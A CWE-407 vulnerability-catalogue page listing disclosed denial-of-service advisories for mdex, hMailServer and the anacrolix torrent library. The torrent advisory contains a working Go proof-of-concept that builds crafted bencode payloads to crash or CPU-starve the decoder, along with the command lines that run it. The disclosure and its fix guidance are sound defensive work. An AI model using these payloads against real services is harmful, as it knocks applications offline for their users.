Common Weakness Enumeration

CWE-407

Weakness Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-405 · View CWE-1000
Modes of introduction
Architecture and Design
Implementation
Detection methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Functional_Areas, Other_Notes

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Applicable_Platforms, Likelihood_of_Exploit

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Likelihood_of_Exploit

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Name, Relationships, Type

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated References, Relationships

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated References

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Alternate_Terms, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Demonstrative_Examples, Observed_Examples, References

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Detection_Factors, References

704 vulnerabilities reference this CWE, most recent first.

GHSA-2V8X-FGP5-9M6J

Vulnerability from github – Published: 2026-11-30 21:31 – Updated: 2026-11-30 21:31
VLAI
Details

Inefficient Algorithmic Complexity vulnerability in MDEx.FragmentParser in leandrocp mdex allows an attacker who controls streamed or auto-closed Markdown to cause a denial of service through CPU exhaustion. Any application that renders untrusted Markdown with MDEx.stream/2 or the auto_close option is affected, for example live previews or streamed LLM output.

While auto-closing the last paragraph, close_bracket/5 in lib/mdex/fragment_parser.ex runs an unbounded forward scan of the link tail for every ](. When that scan finds no valid link, scanning resumes just after the ], so the next ]( rescans the same tail. Each closed link also re-filters every pending image opener. Repeated [](x (, [](x(, or ![ openers in one paragraph therefore cost quadratic time, and about 100 KB of input occupies a scheduler for over ten seconds.

This issue affects mdex: from 0.14.2 before 0.15.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-129522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-30T19:17:43Z",
    "severity": "LOW"
  },
  "details": "Inefficient Algorithmic Complexity vulnerability in MDEx.FragmentParser in leandrocp mdex allows an attacker who controls streamed or auto-closed Markdown to cause a denial of service through CPU exhaustion. Any application that renders untrusted Markdown with MDEx.stream/2 or the auto_close option is affected, for example live previews or streamed LLM output.\n\nWhile auto-closing the last paragraph, close_bracket/5 in lib/mdex/fragment_parser.ex runs an unbounded forward scan of the link tail for every ](. When that scan finds no valid link, scanning resumes just after the ], so the next ]( rescans the same tail. Each closed link also re-filters every pending image opener. Repeated [](x (, [](x(, or ![ openers in one paragraph therefore cost quadratic time, and about 100 KB of input occupies a scheduler for over ten seconds.\n\nThis issue affects mdex: from 0.14.2 before 0.15.0.",
  "id": "GHSA-2v8x-fgp5-9m6j",
  "modified": "2026-11-30T21:31:56Z",
  "published": "2026-11-30T21:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-129522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/leandrocp/mdex/commit/2c29b28cd0473c24347aa00b95d16f9ce5f9d9af"
    },
    {
      "type": "WEB",
      "url": "https://github.com/leandrocp/mdex/commit/bea359152bc1f63f3256ee86ca207151b815940d"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-129522.html"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-129522"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2VM3-8W38-9P34

Vulnerability from github – Published: 2026-10-08 12:34 – Updated: 2026-10-08 12:34
VLAI
Details

Inefficient algorithmic complexity in the webmail's message view of the REST API in Progressive Robot hMailServer 6.3.2 through 6.3.5 allows a remote unauthenticated attacker to make the webmail, the administration console and the REST API unavailable by sending a message. The route that renders a received message's HTML replaced each reference to an embedded image in place, with work that grew with the square of the number of references, and wrote the image out for every reference while counting it against its size limit only once. A message whose HTML refers to one small embedded image a very large number of times, opened in the webmail by its recipient, therefore keeps one of the listener's four worker threads busy for minutes and makes it build a document of gigabytes, so that a few such messages leave the HTTP listener unable to answer anybody.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-107583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-08T12:17:16Z",
    "severity": "MODERATE"
  },
  "details": "Inefficient algorithmic complexity in the webmail\u0027s message view of the REST API in Progressive Robot hMailServer 6.3.2 through 6.3.5 allows a remote unauthenticated attacker to make the webmail, the administration console and the REST API unavailable by sending a message. The route that renders a received message\u0027s HTML replaced each reference to an embedded image in place, with work that grew with the square of the number of references, and wrote the image out for every reference while counting it against its size limit only once. A message whose HTML refers to one small embedded image a very large number of times, opened in the webmail by its recipient, therefore keeps one of the listener\u0027s four worker threads busy for minutes and makes it build a document of gigabytes, so that a few such messages leave the HTTP listener unable to answer anybody.",
  "id": "GHSA-2vm3-8w38-9p34",
  "modified": "2026-10-08T12:34:27Z",
  "published": "2026-10-08T12:34:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107583"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/hmailserver/hmailserver/-/releases/v6.3.6"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/hmailserver/hmailserver/-/work_items/65"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WRX-84QJ-4PCG

Vulnerability from github – Published: 2026-10-30 22:55 – Updated: 2026-10-30 22:55
VLAI
Summary
anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS
Details

Summary

anacrolix/torrent's bencode decoder (bencode/) applies no limit on the nesting depth of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted .torrent file or from metadata obtained from a peer on a magnet-link/v2 download:

  1. Stack-overflow process crash. Decoder.readOneValue recurses once per nesting level with no depth bound. A .torrent whose info value is a list nested a few million levels deep (≈8 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverable fatal error: stack overflow. 2. Quadratic CPU exhaustion. metainfo.FileTree.UnmarshalBencode (BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n²). A v2 info dict with a ~30,000-level file tree (≈0.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time.

Affected: every application embedding github.com/anacrolix/torrent that ingests attacker-supplied metainfo - the CLI tools (cmd/torrent, cmd/torrent2), any server that opens .torrent files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder.

Vulnerability Details

All file:line references are against the pinned commit 4ad31c5170787215c51c6ddaa54abc06b623c11c.

Root cause - no recursion/depth limit in the bencode decoder

bencode/decode.go implements three independently unbounded recursive parsers. There is no depth counter and no MaxDepth/nesting guard anywhere in bencode/ or metainfo/.

Defect 1 - readOneValue recursion (bencode/decode.go:546-549)

case 'd', 'l':
    // read until there is nothing to read
    for d.readOneValue() {
    }                       // <- recurses once per nested dict/list level, unbounded

readOneValue is invoked by Decoder.parseUnmarshaler (bencode/decode.go:591) whenever a decoded field implements bencode.Unmarshaler, which includes bencode.Bytes - the type of MetaInfo.InfoBytes (metainfo/metainfo.go:17). So decoding a normal .torrent routes the entire info value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting l a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go's stack overflow is a fatal error - it is not a recoverable panic, so the recover() in Decoder.Decode (bencode/decode.go:35-55) cannot intercept it, and the whole process terminates.

Entry points that reach readOneValue with attacker-controlled bytes: - metainfo.Load (metainfo/metainfo.go:35) / metainfo.LoadFromFile (metainfo.go:50) - decoding a .torrent file; the info value becomes a bencode.Bytes unmarshaler field. - Client.AddTorrent / Client.AddTorrentFromFile -> metainfo.LoadFromFile (client.go:1776 inside AddTorrentFromFile), and TorrentSpec.InfoBytes -> setInfoBytesLocked -> bencode.Unmarshal(b, &info) (torrent.go:638) - peer-fetched metadata.

For the remote-peer path (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to setInfoBytesLocked once complete (torrent.go:1874). The accepted metadata size is capped at maxMetadataSize = 16 MiB (global.go:18), which comfortably admits the ≈8 MB Defect-1 payload and the ≈0.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened .torrent.

Defect 2 - FileTree.UnmarshalBencode recursive re-parse (metainfo/file-tree.go:42-49)

for key, bytes := range dir {
    var sub FileTree
    err = sub.UnmarshalBencode(bytes)   // <- recurses once per file-tree level, and each call re-runs
                                        //   bencode.Unmarshal over its entire subtree

FileTree implements bencode.Unmarshaler (file-tree.go:53), so the file tree field of a v2 info dict (metainfo/info.go:33) routes through it. Each level calls sub.UnmarshalBencode, which starts with bencode.Unmarshal(bytes, &dir) over the whole remaining subtree. A file tree nested D levels deep therefore performs O(D) bencode.Unmarshal calls, each over an O(D)-sized payload - O(D²) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs.

Reachability: any bencode.Unmarshal into metainfo.Info, including the peer-metadata path setInfoBytesLocked (torrent.go:638) for a magnet/v2 download, and MetaInfo.UnmarshalInfo (metainfo/metainfo.go:61-64).

Sanitizers / existing limits that do NOT apply

  • Decoder.MaxStrLen (bencode/decode.go:787-791, default 128 MiB) bounds a single string value; it is never consulted by readOneValue (decode.go:564 does io.CopyN(&d.buf, d.r, length) with no MaxStrLen check) and does not bound dict/list nesting depth.
  • The existing fuzzers (bencode/fuzz_test.go) only round-trip interface{} values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them.

Impact

  • Denial of service / availability (complete process crash). A single ~8 MB .torrent file, or ~8 MB of metadata from a malicious peer, crashes the embedding application with fatal error: stack overflow (Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies.
  • Denial of service / availability (CPU starvation). A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2).

Threat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - global.go:18) or a local user opening a malicious .torrent. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative UI:R). Headline CVSS 3.1 base CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5 (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes N, raising it to 7.5. CWE-674 (Uncontrolled Recursion) is the precise root cause for Defect 1; CWE-407 (Inefficient Algorithmic Complexity) covers Defect 2.

Per-metric justification (headline 6.5 vector, UI:R): - Attack Vector (AV): Network - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a .torrent file opened by any client of the library; no local access required. - Attack Complexity (AC): Low - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment. - Privileges Required (PR): None - feeding metainfo to the decoder is the unprivileged, public API usage. - User Interaction (UI): Required - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer's metadata); programmatic server ingestion removes this (UI:N -> 7.5). - Scope (S): Unchanged - the impacted security authority is the embedding process itself. - Confidentiality (C): None - no data disclosure. - Integrity (I): None - no data modification. - Availability (A): High - Defect 1 terminates the process with fatal error: stack overflow (unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling.

Reproduction Steps

All runs are local-only within the test host; nothing contacts a network.

Environment and single harness

The harness is a single Go program (go test-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces both defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run):

go mod init torrent_recursion_dos
go mod edit -require github.com/anacrolix/torrent@v1.61.0
go mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout
go test -run TestDefect1_StackOverflow -v .
go test -run TestDefect2_CPUExhaustion -v .

Harness (torrent_recursion_dos_test.go, placed in a temp module that imports the local clone):

package torrent_recursion_dos

import (
    "bytes"
    "fmt"
    "os"
    "testing"

    "github.com/anacrolix/torrent/bencode"
    "github.com/anacrolix/torrent/metainfo"
)

// buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a
// valid .torrent: { "info": <that list> }.
func buildInfo(depth int, mode byte) []byte {
    var b bytes.Buffer
    b.WriteString("d4:infod")
    for i := 0; i < depth; i++ {
        b.WriteByte(mode) // 'l' for a nested list
    }
    for i := 0; i < depth; i++ {
        b.WriteByte('e')
    }
    b.WriteString("ee")
    return b.Bytes()
}

// buildV2Info builds a v2 info dict whose "file tree" nests `depth` single-key
// dicts around a valid 32-byte-pieces-root file leaf.
func buildV2Info(depth int) []byte {
    leaf := map[string]interface{}{
        "": map[string]interface{}{
            "length":      5,
            "pieces root": string(bytes.Repeat([]byte{'A'}, 32)),
        },
    }
    node := leaf
    for i := 0; i < depth; i++ {
        node = map[string]interface{}{"a": node}
    }
    info := map[string]interface{}{
        "meta version": 2, "piece length": 32768, "file tree": node,
    }
    out, _ := bencode.Marshal(info)
    return out
}

// Defect 1: metainfo.Load on a .torrent with a deeply nested info list
// derives a fatal `goroutine stack exceeds 1000000000-byte limit`.
func TestDefect1_StackOverflow(t *testing.T) {
    depth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs
    in := buildInfo(depth, 'l')
    if len(os.Getenv("SKIP_CRASH")) == 0 {
        // Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so
        // this drives readOneValue recursion. Crashes the process.
        _, err := metainfo.Load(bytes.NewReader(in))
        _ = err
    }
    fmt.Printf("[defect1] decoded depth=%d without crashing\n", depth)
}

// Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic.
func TestDefect2_CPUExhaustion(t *testing.T) {
    depth := 30_000 // ~0.2 MB; ~66 s on this machine
    src := buildV2Info(depth)
    var info metainfo.Info
    if err := bencode.Unmarshal(src, &info); err != nil {
        t.Fatal(err)
    }
    fmt.Println("[defect2] parsed deep v2 file tree")
}

Observations with the pinned commit (Go 1.26, laptop):

# TestDefect1 - process aborts, unrecoverable:
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
[exit status 2]

# TestDefect2 - wall-clock parse time (single-threaded):
depth=30_000              => ~66 s
depth=60_000              => >90 s (timeout)

To reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the metainfo.Load API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as d4:infod + 4,000,000 l + 4,000,000 e + ee:

./cmd/torrent -seed -metainfo ./crash.torrent   # crashes

The payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon).

Recommendations

  1. Add a nesting-depth limit to the decoder (recommended, fixes both defects). Thread a depth counter through parseValue / parseDict / parseList / parseValueInterface / parseListInterface / parseDictInterface / readOneValue, and return a SyntaxError when it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it on Decoder like the existing MaxStrLen (bencode/decode.go:21-32). 2. Make readOneValue length-aware. Apply the same MaxStrLen bound to the io.CopyN(&d.buf, d.r, length) at bencode/decode.go:564 instead of trusting the raw length field, so oversized bulk fields fail as SyntaxError instead of being buffered. 3. Break the O(n²) in FileTree.UnmarshalBencode. Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-running bencode.Unmarshal on every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. Convert fatal overflow into a recoverable error. Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely on recover() - a stack overflow is fatal and unrecoverable in Go. 5. Fuzz with depth in mind. Add a fuzz seed / corpus that includes deeply nested d/l values and assert both that decoding returns an error (not a crash) and that no level trips the depth limit.

References

  • Source (pinned): https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c
  • Unbounded recursion: bencode/decode.go:546-549, bencode/decode.go:591
  • File-tree recursion: metainfo/file-tree.go:42-49
  • Public entry points: metainfo/metainfo.go:35-50, client.go:1776, torrent.go:638
  • Missing MaxStrLen in bulk read: bencode/decode.go:564
  • Metadata size cap (remote reachability): global.go:18, reassembly call torrent.go:1874
  • Prior hardening in this codebase (unrelated to this class, recorded for completeness):
  • v2 pieces-root panic fix: commit 7218a979 ("validate v2 file tree pieces root length before torrent setup"), present at the pinned commit via misc.go:92 -> file-tree.go:164.
  • Path-traversal safeguards in storage (storage/file-paths.go:32 isSubFilepath, storage/safe-path.go:16 ToSafeFilePath) - inspected and found to hold (not the issue here).
  • No published advisory found: OSV.dev and NVD return no records for the package (github.com/anacrolix/torrent, purl pkg:golang/github.com/anacrolix/torrent); the Go ecosystem advisory database lists none.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/anacrolix/torrent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.61.1-0.20260911233437-76452a2c8a2f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-30T22:55:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nanacrolix/torrent\u0027s bencode decoder (`bencode/`) applies **no limit on the nesting depth** of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted `.torrent` file or from metadata obtained from a peer on a magnet-link/v2 download:\n\n1. **Stack-overflow process crash.** `Decoder.readOneValue` recurses once per nesting level with no depth bound. A `.torrent` whose `info` value is a list nested a few million levels deep (\u22488 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverable `fatal error: stack overflow`. 2. **Quadratic CPU exhaustion.** `metainfo.FileTree.UnmarshalBencode` (BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n\u00b2). A v2 info dict with a ~30,000-level file tree (\u22480.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time.\n\nAffected: every application embedding `github.com/anacrolix/torrent` that ingests attacker-supplied metainfo - the CLI tools (`cmd/torrent`, `cmd/torrent2`), any server that opens `.torrent` files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder.\n\n## Vulnerability Details\n\nAll file:line references are against the pinned commit `4ad31c5170787215c51c6ddaa54abc06b623c11c`.\n\n### Root cause - no recursion/depth limit in the bencode decoder\n\n`bencode/decode.go` implements three independently unbounded recursive parsers. There is no depth counter and no `MaxDepth`/nesting guard anywhere in `bencode/` or `metainfo/`.\n\n**Defect 1 - `readOneValue` recursion (`bencode/decode.go:546-549`)**\n\n```go\ncase \u0027d\u0027, \u0027l\u0027:\n    // read until there is nothing to read\n    for d.readOneValue() {\n    }                       // \u003c- recurses once per nested dict/list level, unbounded\n```\n\n`readOneValue` is invoked by `Decoder.parseUnmarshaler` (`bencode/decode.go:591`) whenever a decoded field implements `bencode.Unmarshaler`, which includes `bencode.Bytes` - the type of `MetaInfo.InfoBytes` (`metainfo/metainfo.go:17`). So decoding a normal `.torrent` routes the entire `info` value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting `l` a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go\u0027s stack overflow is a `fatal error` - it is not a recoverable panic, so the `recover()` in `Decoder.Decode` (`bencode/decode.go:35-55`) cannot intercept it, and the whole process terminates.\n\nEntry points that reach `readOneValue` with attacker-controlled bytes:\n- `metainfo.Load` (`metainfo/metainfo.go:35`) / `metainfo.LoadFromFile` (`metainfo.go:50`) - decoding a `.torrent` file; the `info` value becomes a `bencode.Bytes` unmarshaler field.\n- `Client.AddTorrent` / `Client.AddTorrentFromFile` -\u003e `metainfo.LoadFromFile` (`client.go:1776` inside `AddTorrentFromFile`), and `TorrentSpec.InfoBytes` -\u003e `setInfoBytesLocked` -\u003e `bencode.Unmarshal(b, \u0026info)` (`torrent.go:638`) - peer-fetched metadata.\n\nFor the **remote-peer path** (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to `setInfoBytesLocked` once complete (`torrent.go:1874`). The accepted metadata size is capped at `maxMetadataSize = 16 MiB` (`global.go:18`), which comfortably admits the \u22488 MB Defect-1 payload and the \u22480.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened `.torrent`.\n\n**Defect 2 - `FileTree.UnmarshalBencode` recursive re-parse (`metainfo/file-tree.go:42-49`)**\n\n```go\nfor key, bytes := range dir {\n    var sub FileTree\n    err = sub.UnmarshalBencode(bytes)   // \u003c- recurses once per file-tree level, and each call re-runs\n                                        //   bencode.Unmarshal over its entire subtree\n```\n\n`FileTree` implements `bencode.Unmarshaler` (`file-tree.go:53`), so the `file tree` field of a v2 info dict (`metainfo/info.go:33`) routes through it. Each level calls `sub.UnmarshalBencode`, which starts with `bencode.Unmarshal(bytes, \u0026dir)` over the *whole remaining subtree*. A file tree nested `D` levels deep therefore performs O(D) `bencode.Unmarshal` calls, each over an O(D)-sized payload - O(D\u00b2) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs.\n\nReachability: any `bencode.Unmarshal` into `metainfo.Info`, including the peer-metadata path `setInfoBytesLocked` (`torrent.go:638`) for a magnet/v2 download, and `MetaInfo.UnmarshalInfo` (`metainfo/metainfo.go:61-64`).\n\n### Sanitizers / existing limits that do NOT apply\n\n- `Decoder.MaxStrLen` (`bencode/decode.go:787-791`, default 128 MiB) bounds a *single string value*; it is never consulted by `readOneValue` (`decode.go:564` does `io.CopyN(\u0026d.buf, d.r, length)` with no `MaxStrLen` check) and does not bound dict/list nesting depth.\n- The existing fuzzers (`bencode/fuzz_test.go`) only round-trip `interface{}` values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them.\n\n## Impact\n\n- **Denial of service / availability (complete process crash).** A single ~8 MB `.torrent` file, or ~8 MB of metadata from a malicious peer, crashes the embedding application with `fatal error: stack overflow` (Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies.\n- **Denial of service / availability (CPU starvation).** A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2).\n\nThreat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - `global.go:18`) or a local user opening a malicious `.torrent`. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative `UI:R`). Headline CVSS 3.1 base `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` = **6.5** (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes `N`, raising it to 7.5. CWE-674 (`Uncontrolled Recursion`) is the precise root cause for Defect 1; CWE-407 (`Inefficient Algorithmic Complexity`) covers Defect 2.\n\nPer-metric justification (headline 6.5 vector, `UI:R`):\n- **Attack Vector (AV): Network** - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a `.torrent` file opened by any client of the library; no local access required.\n- **Attack Complexity (AC): Low** - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment.\n- **Privileges Required (PR): None** - feeding metainfo to the decoder is the unprivileged, public API usage.\n- **User Interaction (UI): Required** - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer\u0027s metadata); programmatic server ingestion removes this (UI:N -\u003e 7.5).\n- **Scope (S): Unchanged** - the impacted security authority is the embedding process itself.\n- **Confidentiality (C): None** - no data disclosure.\n- **Integrity (I): None** - no data modification.\n- **Availability (A): High** - Defect 1 terminates the process with `fatal error: stack overflow` (unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling.\n\n## Reproduction Steps\n\nAll runs are local-only within the test host; nothing contacts a network.\n\n### Environment and single harness\n\nThe harness is a single Go program (`go test`-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces **both** defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run):\n\n```bash\ngo mod init torrent_recursion_dos\ngo mod edit -require github.com/anacrolix/torrent@v1.61.0\ngo mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout\ngo test -run TestDefect1_StackOverflow -v .\ngo test -run TestDefect2_CPUExhaustion -v .\n```\n\nHarness (`torrent_recursion_dos_test.go`, placed in a temp module that imports the local clone):\n\n```go\npackage torrent_recursion_dos\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/anacrolix/torrent/bencode\"\n\t\"github.com/anacrolix/torrent/metainfo\"\n)\n\n// buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a\n// valid .torrent: { \"info\": \u003cthat list\u003e }.\nfunc buildInfo(depth int, mode byte) []byte {\n\tvar b bytes.Buffer\n\tb.WriteString(\"d4:infod\")\n\tfor i := 0; i \u003c depth; i++ {\n\t\tb.WriteByte(mode) // \u0027l\u0027 for a nested list\n\t}\n\tfor i := 0; i \u003c depth; i++ {\n\t\tb.WriteByte(\u0027e\u0027)\n\t}\n\tb.WriteString(\"ee\")\n\treturn b.Bytes()\n}\n\n// buildV2Info builds a v2 info dict whose \"file tree\" nests `depth` single-key\n// dicts around a valid 32-byte-pieces-root file leaf.\nfunc buildV2Info(depth int) []byte {\n\tleaf := map[string]interface{}{\n\t\t\"\": map[string]interface{}{\n\t\t\t\"length\":      5,\n\t\t\t\"pieces root\": string(bytes.Repeat([]byte{\u0027A\u0027}, 32)),\n\t\t},\n\t}\n\tnode := leaf\n\tfor i := 0; i \u003c depth; i++ {\n\t\tnode = map[string]interface{}{\"a\": node}\n\t}\n\tinfo := map[string]interface{}{\n\t\t\"meta version\": 2, \"piece length\": 32768, \"file tree\": node,\n\t}\n\tout, _ := bencode.Marshal(info)\n\treturn out\n}\n\n// Defect 1: metainfo.Load on a .torrent with a deeply nested info list\n// derives a fatal `goroutine stack exceeds 1000000000-byte limit`.\nfunc TestDefect1_StackOverflow(t *testing.T) {\n\tdepth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs\n\tin := buildInfo(depth, \u0027l\u0027)\n\tif len(os.Getenv(\"SKIP_CRASH\")) == 0 {\n\t\t// Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so\n\t\t// this drives readOneValue recursion. Crashes the process.\n\t\t_, err := metainfo.Load(bytes.NewReader(in))\n\t\t_ = err\n\t}\n\tfmt.Printf(\"[defect1] decoded depth=%d without crashing\\n\", depth)\n}\n\n// Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic.\nfunc TestDefect2_CPUExhaustion(t *testing.T) 